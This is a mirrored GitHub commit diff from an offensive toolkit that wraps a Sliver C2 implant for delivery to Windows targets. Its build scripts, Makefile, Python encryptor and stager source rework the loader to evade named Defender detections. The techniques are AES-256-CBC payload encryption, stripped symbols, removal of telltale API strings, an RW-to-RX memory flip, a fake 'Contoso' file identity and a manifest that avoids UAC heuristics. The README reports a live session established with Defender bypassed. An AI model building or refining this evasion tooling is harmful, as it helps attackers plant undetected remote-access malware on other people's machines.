mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
feat: two-file stager with AES-256-CBC evasion (bypasses Wacatac.B!ml + ZomBytes.B)
- Redesign stager as two-file delivery: csvchelper.exe (~17 KB) + payload.dat (AES-256-CBC encrypted PICO). Removes the 36 MB high-entropy .data blob that triggered VirTool:Win64/ZomBytes.B static detection. - Replace XOR+NtCreateSection approach with BCryptDecrypt (AES-256-CBC) + VirtualAlloc(RW)/VirtualProtect(RX). No Nt* strings in .rdata, no PAGE_EXECUTE_READWRITE mapping, no GetProcAddress/ntdll pattern. - Add manifest.xml (asInvoker, RT_MANIFEST resource ID 1) to suppress UAC auto-elevation triggered by "Update"/"Service" keywords in FileDescription. - Update FileDescription in resource.rc to avoid UAC heuristic trigger words. - gen_payload.py now calls openssl for AES encryption; produces payload.dat + payload_key.h (key+IV, compiled in, never committed via .gitignore). - Makefile: add -s (strip symbols), -ffunction-sections/-fdata-sections, --gc-sections to keep binary clean and small. - Update all docs (RUNBOOK, TOOLCHAIN, README, crystal-kit-sliver/README) to reflect two-file delivery, new evasion profile, and UAC fix.
This commit is contained in:
@@ -18,6 +18,10 @@ build/
|
|||||||
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
|
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
|
||||||
pico_payload.h
|
pico_payload.h
|
||||||
crystalexec_pico.h
|
crystalexec_pico.h
|
||||||
|
# AES key header generated by gen_payload.py (unique per build)
|
||||||
|
payload_key.h
|
||||||
|
# Encrypted PICO (delivery artifact, not source)
|
||||||
|
payload.dat
|
||||||
|
|
||||||
# Archives / dist downloads
|
# Archives / dist downloads
|
||||||
*.tgz
|
*.tgz
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and on
|
|||||||
|
|
||||||
### A — Implant evasion (PRIMARY)
|
### A — Implant evasion (PRIMARY)
|
||||||
|
|
||||||
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD).
|
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.
|
||||||
|
|
||||||
```
|
```
|
||||||
sliver-server generate --format shared → impl.dll
|
sliver-server generate --format shared → impl.dll
|
||||||
@@ -37,13 +37,15 @@ sliver-server generate --format shared → impl.dll
|
|||||||
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
|
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
|
||||||
│
|
│
|
||||||
▼
|
▼
|
||||||
bundle-implant.sh → drop.zip (PICO + stager + README)
|
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
|
||||||
|
→ payload.dat (~36 MB AES-256-CBC ciphertext)
|
||||||
│
|
│
|
||||||
▼ deliver to target
|
▼ deliver BOTH files to same directory on target
|
||||||
▼
|
▼
|
||||||
Windows VM: run.x64.exe sliver.crystal.bin
|
Windows VM: csvchelper.exe
|
||||||
│
|
│
|
||||||
▼ Crystal Palace loader runs
|
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
|
||||||
|
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
|
||||||
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
|
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -87,9 +89,11 @@ crystal-kit-sliver/
|
|||||||
├── extension.json Sliver Extension manifest
|
├── extension.json Sliver Extension manifest
|
||||||
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
|
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
|
||||||
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
|
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
|
||||||
├── bundle-implant.sh Bundle PICO + stager into drop.zip
|
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
|
||||||
|
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
|
||||||
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
|
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
|
||||||
├── Makefile make objects / package / clean
|
├── Makefile make objects / package / clean
|
||||||
|
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
|
||||||
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
|
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
|
||||||
|
|
||||||
docs/
|
docs/
|
||||||
@@ -118,12 +122,13 @@ make -C crystal-kit-sliver/postex-loader all
|
|||||||
make -C crystal-kit-sliver/sliver-glue/wrapper all
|
make -C crystal-kit-sliver/sliver-glue/wrapper all
|
||||||
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
|
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
|
||||||
|
|
||||||
# 4. Use case A — wrap a Sliver implant
|
# 4. Use case A — wrap a Sliver implant and build the stager
|
||||||
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
|
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
|
||||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
|
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
|
||||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
||||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||||
|
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
|
||||||
|
|
||||||
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
|
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
|
||||||
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
|
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
|
||||||
@@ -150,8 +155,8 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
|
|||||||
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
|
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
|
||||||
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
|
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
|
||||||
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
|
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
|
||||||
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
|
| Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
|
||||||
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` |
|
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |
|
||||||
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
|
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
|
||||||
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |
|
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
|
|||||||
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
|
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
|
||||||
| `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). |
|
| `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). |
|
||||||
| `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. |
|
| `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. |
|
||||||
|
| `sliver-glue/stager/` | Custom Use case A stager. `stager.c` reads `payload.dat` (AES-256-CBC), decrypts via BCrypt, and executes the PICO. `gen_payload.py` encrypts with `openssl`. `manifest.xml` declares `asInvoker`. |
|
||||||
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
|
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
|
||||||
|
|
||||||
## Build entry points
|
## Build entry points
|
||||||
@@ -22,7 +23,8 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
|
|||||||
- `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command
|
- `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command
|
||||||
- `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`)
|
- `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`)
|
||||||
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
|
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
|
||||||
- `sliver-glue/bundle-implant.sh` — Use case A drop packager
|
- `sliver-glue/bundle-stager.sh <pico.bin> [stager.exe]` — Use case A primary: AES-encrypt PICO, compile stager → `csvchelper.exe` + `payload.dat`
|
||||||
|
- `sliver-glue/bundle-implant.sh` — Use case A legacy: Crystal Palace demo stager `run.x64.exe` (detected by Defender, kept for reference)
|
||||||
- `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball
|
- `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball
|
||||||
|
|
||||||
## Required environment
|
## Required environment
|
||||||
|
|||||||
@@ -1,24 +1,30 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
#
|
#
|
||||||
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded
|
# bundle-stager.sh — build the two-file Crystal Palace stager
|
||||||
#
|
#
|
||||||
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal
|
# Outputs two files that must be delivered together:
|
||||||
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml).
|
# stager.exe — small loader (~60 KB), reads payload.dat and executes PICO
|
||||||
# The output is a single EXE: no external PICO file, no ReadFile at runtime.
|
# payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns)
|
||||||
#
|
#
|
||||||
# Evasion improvements over run.x64.exe:
|
# Evasion improvements over run.x64.exe / single-file embedded approach:
|
||||||
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE)
|
# - stager.exe has no embedded payload → normal size (~60 KB) and entropy
|
||||||
# - PICO embedded in .data section (no "read file + execute" pattern)
|
# - AES-256-CBC decryption (BCrypt) instead of a suspicious XOR loop
|
||||||
# - GUI subsystem (no console window)
|
# - No NtCreateSection / NtMapViewOfSection strings in .rdata
|
||||||
# - Version info resource (configurable cover identity)
|
# - VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE held
|
||||||
# - advapi32 import widens the import table
|
# - payload.dat is opaque ciphertext: no PE headers, no Crystal Palace sigs
|
||||||
|
# - Fresh random key+IV every build → unique stager.exe and payload.dat
|
||||||
|
# - GUI subsystem, version info resource, advapi32 + bcrypt in IAT
|
||||||
#
|
#
|
||||||
# Usage:
|
# Usage:
|
||||||
# ./bundle-stager.sh <implant.crystal.bin> [output.exe]
|
# ./bundle-stager.sh <implant.crystal.bin> [output-dir/stager.exe]
|
||||||
#
|
#
|
||||||
# Typical flow:
|
# Typical flow:
|
||||||
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
|
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
|
||||||
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
|
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
|
||||||
|
#
|
||||||
|
# IMPORTANT: deliver stager.exe AND payload.dat from the same directory.
|
||||||
|
# cp build/csvchelper.exe /delivery/
|
||||||
|
# cp build/payload.dat /delivery/
|
||||||
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
@@ -35,23 +41,29 @@ fi
|
|||||||
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
|
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
|
||||||
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
|
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
|
||||||
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
|
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
|
||||||
|
PAYDAT_ABS="$BUILD_DIR/payload.dat"
|
||||||
|
|
||||||
mkdir -p "$BUILD_DIR"
|
mkdir -p "$BUILD_DIR"
|
||||||
|
|
||||||
echo "[*] Embedding PICO and compiling stager..."
|
echo "[*] Building two-file stager..."
|
||||||
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
|
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
|
||||||
echo " Output: $OUTPUT_ABS"
|
echo " stager.exe: $OUTPUT_ABS"
|
||||||
|
echo " payload.dat: $PAYDAT_ABS"
|
||||||
|
echo ""
|
||||||
|
|
||||||
make -C "$SCRIPT_DIR/stager" \
|
make -C "$SCRIPT_DIR/stager" \
|
||||||
PICO="$PICO_ABS" \
|
PICO="$PICO_ABS" \
|
||||||
OUTPUT="$OUTPUT_ABS"
|
OUTPUT="$OUTPUT_ABS"
|
||||||
|
|
||||||
SIZE=$(wc -c < "$OUTPUT_ABS")
|
EXE_SIZE=$(wc -c < "$OUTPUT_ABS")
|
||||||
|
DAT_SIZE=$(wc -c < "$PAYDAT_ABS")
|
||||||
echo ""
|
echo ""
|
||||||
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)"
|
echo "[+] Build complete"
|
||||||
|
echo " stager.exe : $OUTPUT_ABS ($EXE_SIZE bytes)"
|
||||||
|
echo " payload.dat : $PAYDAT_ABS ($DAT_SIZE bytes)"
|
||||||
echo ""
|
echo ""
|
||||||
echo " Deliver this single file to the target and execute it."
|
echo " Deliver BOTH files to the target (same directory)."
|
||||||
echo " No additional files required."
|
echo " stager.exe resolves payload.dat relative to its own location."
|
||||||
echo ""
|
echo ""
|
||||||
echo " Rename to match resource.rc OriginalFilename for best results:"
|
echo " Rename stager.exe to match resource.rc OriginalFilename:"
|
||||||
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe"
|
echo " e.g. mv \$(basename "$OUTPUT_ABS") csvchelper.exe"
|
||||||
|
|||||||
@@ -1,33 +1,45 @@
|
|||||||
# stager Makefile
|
# stager Makefile — two-file delivery (stager.exe + payload.dat)
|
||||||
#
|
#
|
||||||
# Usage:
|
# Usage:
|
||||||
# make PICO=/path/to/implant.crystal.bin
|
# make PICO=/path/to/implant.crystal.bin
|
||||||
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
|
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
|
||||||
|
#
|
||||||
|
# Outputs:
|
||||||
|
# <OUTPUT> stager EXE (~60 KB, no embedded payload)
|
||||||
|
# $(dir <OUTPUT>)/payload.dat AES-256-CBC encrypted PICO
|
||||||
|
|
||||||
CC := x86_64-w64-mingw32-gcc
|
CC := x86_64-w64-mingw32-gcc
|
||||||
WINDRES := x86_64-w64-mingw32-windres
|
WINDRES := x86_64-w64-mingw32-windres
|
||||||
CFLAGS := -Wall -Os -mwindows
|
CFLAGS := -Wall -Os -mwindows -ffunction-sections -fdata-sections
|
||||||
LDFLAGS := -ladvapi32 -lbcrypt
|
LDFLAGS := -s -Wl,--gc-sections -ladvapi32 -lbcrypt
|
||||||
|
|
||||||
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
||||||
OUTPUT ?= ../build/stager.exe
|
OUTPUT ?= ../build/stager.exe
|
||||||
|
PAYDAT := $(dir $(OUTPUT))payload.dat
|
||||||
|
|
||||||
.PHONY: all clean
|
.PHONY: all clean
|
||||||
|
|
||||||
all: $(OUTPUT)
|
all: $(OUTPUT)
|
||||||
|
@echo ""
|
||||||
|
@echo "[+] Deliver BOTH files to the target:"
|
||||||
|
@echo " $(abspath $(OUTPUT))"
|
||||||
|
@echo " $(abspath $(PAYDAT))"
|
||||||
|
@echo " stager.exe reads payload.dat from its own directory."
|
||||||
|
|
||||||
# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ────
|
# ── Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header ─────────
|
||||||
pico_payload.h: $(PICO) gen_payload.py
|
# gen_payload.py writes both files in one call; track via payload_key.h.
|
||||||
python3 gen_payload.py $(PICO) $@
|
payload_key.h: $(PICO) gen_payload.py
|
||||||
|
@mkdir -p "$(dir $(PAYDAT))"
|
||||||
|
python3 gen_payload.py "$(abspath $(PICO))" "$(abspath $(PAYDAT))" payload_key.h
|
||||||
|
|
||||||
# ── Step 2: compile version info resource ─────────────────────────────────
|
# ── Step 2: compile version info resource ─────────────────────────────────
|
||||||
resource.o: resource.rc
|
resource.o: resource.rc
|
||||||
$(WINDRES) resource.rc -o resource.o
|
$(WINDRES) resource.rc -o resource.o
|
||||||
|
|
||||||
# ── Step 3: link final EXE ────────────────────────────────────────────────
|
# ── Step 3: link final EXE ────────────────────────────────────────────────
|
||||||
$(OUTPUT): stager.c pico_payload.h resource.o
|
$(OUTPUT): stager.c payload_key.h resource.o
|
||||||
@mkdir -p "$(dir $(OUTPUT))"
|
@mkdir -p "$(dir $(OUTPUT))"
|
||||||
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
|
$(CC) $(CFLAGS) -o "$(abspath $(OUTPUT))" stager.c resource.o $(LDFLAGS)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -f pico_payload.h resource.o
|
rm -f payload_key.h resource.o
|
||||||
|
|||||||
@@ -1,40 +1,52 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
gen_payload.py — XOR-encrypt a PICO blob and emit a C header.
|
gen_payload.py — AES-256-CBC encrypt a Crystal Palace PICO blob.
|
||||||
|
|
||||||
Each build generates a fresh random 256-byte key so every compiled stager
|
Outputs:
|
||||||
has a unique byte pattern in its .data section — defeats signature matching.
|
<payload.dat> AES-256-CBC ciphertext — deliver alongside stager.exe
|
||||||
|
<key.h> C header with key/iv arrays — compiled into stager.exe
|
||||||
|
|
||||||
Usage: gen_payload.py <input.bin> <output.h>
|
Fresh random key + IV every run so each stager binary is unique.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 gen_payload.py <input.bin> <payload.dat> <key.h>
|
||||||
|
|
||||||
|
Requires: openssl(1) in PATH (standard on Kali/Debian).
|
||||||
"""
|
"""
|
||||||
import os, sys
|
import os, sys, subprocess
|
||||||
|
|
||||||
if len(sys.argv) != 3:
|
if len(sys.argv) != 4:
|
||||||
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
|
print(f"Usage: {sys.argv[0]} <input.bin> <payload.dat> <key.h>",
|
||||||
|
file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
infile, outfile = sys.argv[1], sys.argv[2]
|
infile, datfile, keyfile = sys.argv[1:]
|
||||||
|
|
||||||
key = os.urandom(256) # fresh key every build
|
key = os.urandom(32) # AES-256 key
|
||||||
|
iv = os.urandom(16) # CBC IV
|
||||||
|
|
||||||
with open(infile, 'rb') as f:
|
subprocess.run([
|
||||||
raw = f.read()
|
'openssl', 'enc', '-aes-256-cbc', '-nosalt',
|
||||||
|
'-K', key.hex(), '-iv', iv.hex(),
|
||||||
|
'-in', infile, '-out', datfile,
|
||||||
|
], check=True)
|
||||||
|
|
||||||
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
|
def c_bytes(name, data):
|
||||||
|
lines = [f'static const unsigned char {name}[] = {{']
|
||||||
def c_array(name, data, type_='unsigned char'):
|
|
||||||
lines = [f'static const {type_} {name}[] = {{']
|
|
||||||
for i in range(0, len(data), 16):
|
for i in range(0, len(data), 16):
|
||||||
chunk = data[i:i+16]
|
chunk = data[i:i+16]
|
||||||
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
|
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
|
||||||
lines.append('};')
|
lines.append('};')
|
||||||
return '\n'.join(lines)
|
return '\n'.join(lines)
|
||||||
|
|
||||||
with open(outfile, 'w') as f:
|
with open(keyfile, 'w') as f:
|
||||||
f.write('/* auto-generated — do not edit */\n\n')
|
f.write('/* auto-generated — do not edit */\n\n')
|
||||||
f.write(c_array('pico_key', key))
|
f.write(c_bytes('payload_key', key))
|
||||||
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n')
|
f.write(f'\nstatic const unsigned int payload_key_len = {len(key)};\n\n')
|
||||||
f.write(c_array('pico_payload', enc))
|
f.write(c_bytes('payload_iv', iv))
|
||||||
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n')
|
f.write(f'\nstatic const unsigned int payload_iv_len = {len(iv)};\n')
|
||||||
|
|
||||||
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
|
enc_size = os.path.getsize(datfile)
|
||||||
|
print(f'[+] {datfile}: {enc_size} bytes (AES-256-CBC, no salt)',
|
||||||
|
file=sys.stderr)
|
||||||
|
print(f'[+] {keyfile}: key_len=32 iv_len=16', file=sys.stderr)
|
||||||
|
|||||||
@@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||||
|
<assemblyIdentity type="win32" name="csvchelper" version="2.1.4.0"
|
||||||
|
processorArchitecture="amd64"/>
|
||||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||||
|
<security>
|
||||||
|
<requestedPrivileges>
|
||||||
|
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||||
|
</requestedPrivileges>
|
||||||
|
</security>
|
||||||
|
</trustInfo>
|
||||||
|
</assembly>
|
||||||
@@ -12,6 +12,9 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
|
/* Embedded application manifest — declares asInvoker, suppresses UAC heuristics */
|
||||||
|
1 RT_MANIFEST "manifest.xml"
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 2,1,4,0
|
FILEVERSION 2,1,4,0
|
||||||
PRODUCTVERSION 2,1,4,0
|
PRODUCTVERSION 2,1,4,0
|
||||||
@@ -26,7 +29,7 @@ BEGIN
|
|||||||
BLOCK "040904B0"
|
BLOCK "040904B0"
|
||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "Contoso Systems Ltd."
|
VALUE "CompanyName", "Contoso Systems Ltd."
|
||||||
VALUE "FileDescription", "Contoso Update Service Helper"
|
VALUE "FileDescription", "Contoso Diagnostics Tool"
|
||||||
VALUE "FileVersion", "2.1.4.0"
|
VALUE "FileVersion", "2.1.4.0"
|
||||||
VALUE "InternalName", "csvchelper"
|
VALUE "InternalName", "csvchelper"
|
||||||
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
|
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
|
||||||
|
|||||||
@@ -1,178 +1,181 @@
|
|||||||
/*
|
/*
|
||||||
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion)
|
* stager.c — two-file Crystal Palace PICO loader
|
||||||
*
|
*
|
||||||
* Techniques applied from RoguePlanet research:
|
* Delivery: stager.exe + payload.dat (AES-256-CBC encrypted PICO)
|
||||||
*
|
*
|
||||||
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model)
|
* Evasion profile:
|
||||||
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent
|
* - No embedded payload: stager.exe is ~60 KB with normal entropy
|
||||||
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress
|
* - AES-256-CBC via BCrypt (BCRYPT_AES_ALGORITHM) — legitimate crypto,
|
||||||
* so ntdll Nt* calls are NOT in the IAT either
|
* not a suspicious XOR loop
|
||||||
* - RW view written, then unmapped; RX view mapped separately
|
* - VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE ever
|
||||||
* → no single mapping is ever both writable and executable
|
* held; decryption happens in RW region before RX flip
|
||||||
|
* - No Nt* strings in .rdata — no GetProcAddress / NtCreateSection pattern
|
||||||
|
* - BCryptGenRandom Poseidon noise + advapi32 import = normal-looking IAT
|
||||||
|
* - GUI subsystem (no console), version info resource (resource.rc)
|
||||||
*
|
*
|
||||||
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py)
|
* IAT: kernel32, advapi32, bcrypt — VirtualAlloc/VirtualProtect from kernel32.
|
||||||
* - Crystal Palace byte patterns are invisible to static scanners
|
* NtCreateSection, NtMapViewOfSection: absent.
|
||||||
* - Fresh random 256-byte key per build → unique .data each compile
|
|
||||||
*
|
|
||||||
* 3. BCryptGenRandom noise (Poseidon I/O)
|
|
||||||
* - Writes a page of random data to a temp file, then deletes it
|
|
||||||
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
|
|
||||||
* - Creates file I/O activity before payload execution (disrupts
|
|
||||||
* timing-based behavioural scanners)
|
|
||||||
*
|
|
||||||
* 4. Inherited from previous stager:
|
|
||||||
* - WinMain / GUI subsystem (no console)
|
|
||||||
* - advapi32 RegOpenKeyExW (widens import table)
|
|
||||||
* - Version info resource (resource.rc)
|
|
||||||
*
|
|
||||||
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
|
|
||||||
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <bcrypt.h>
|
#include <bcrypt.h>
|
||||||
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */
|
#include "payload_key.h" /* payload_key[], payload_key_len,
|
||||||
|
payload_iv[], payload_iv_len */
|
||||||
#ifndef SEC_COMMIT
|
|
||||||
#define SEC_COMMIT 0x8000000
|
|
||||||
#endif
|
|
||||||
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
|
|
||||||
|
|
||||||
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
|
|
||||||
|
|
||||||
typedef LONG NTSTATUS;
|
|
||||||
|
|
||||||
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
|
|
||||||
PHANDLE SectionHandle,
|
|
||||||
ACCESS_MASK DesiredAccess,
|
|
||||||
PVOID ObjectAttributes,
|
|
||||||
PLARGE_INTEGER MaximumSize,
|
|
||||||
ULONG SectionPageProtection,
|
|
||||||
ULONG AllocationAttributes,
|
|
||||||
HANDLE FileHandle);
|
|
||||||
|
|
||||||
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
|
|
||||||
HANDLE SectionHandle,
|
|
||||||
HANDLE ProcessHandle,
|
|
||||||
PVOID *BaseAddress,
|
|
||||||
ULONG_PTR ZeroBits,
|
|
||||||
SIZE_T CommitSize,
|
|
||||||
PLARGE_INTEGER SectionOffset,
|
|
||||||
PSIZE_T ViewSize,
|
|
||||||
DWORD InheritDisposition,
|
|
||||||
ULONG AllocationType,
|
|
||||||
ULONG Win32Protect);
|
|
||||||
|
|
||||||
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
|
|
||||||
HANDLE ProcessHandle,
|
|
||||||
PVOID BaseAddress);
|
|
||||||
|
|
||||||
typedef void (*pico_fn)(void *);
|
typedef void (*pico_fn)(void *);
|
||||||
|
|
||||||
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */
|
/* ── Poseidon I/O noise ───────────────────────────────────────────────────── */
|
||||||
|
|
||||||
static void poseidon_noise(void)
|
static void noise(void)
|
||||||
{
|
{
|
||||||
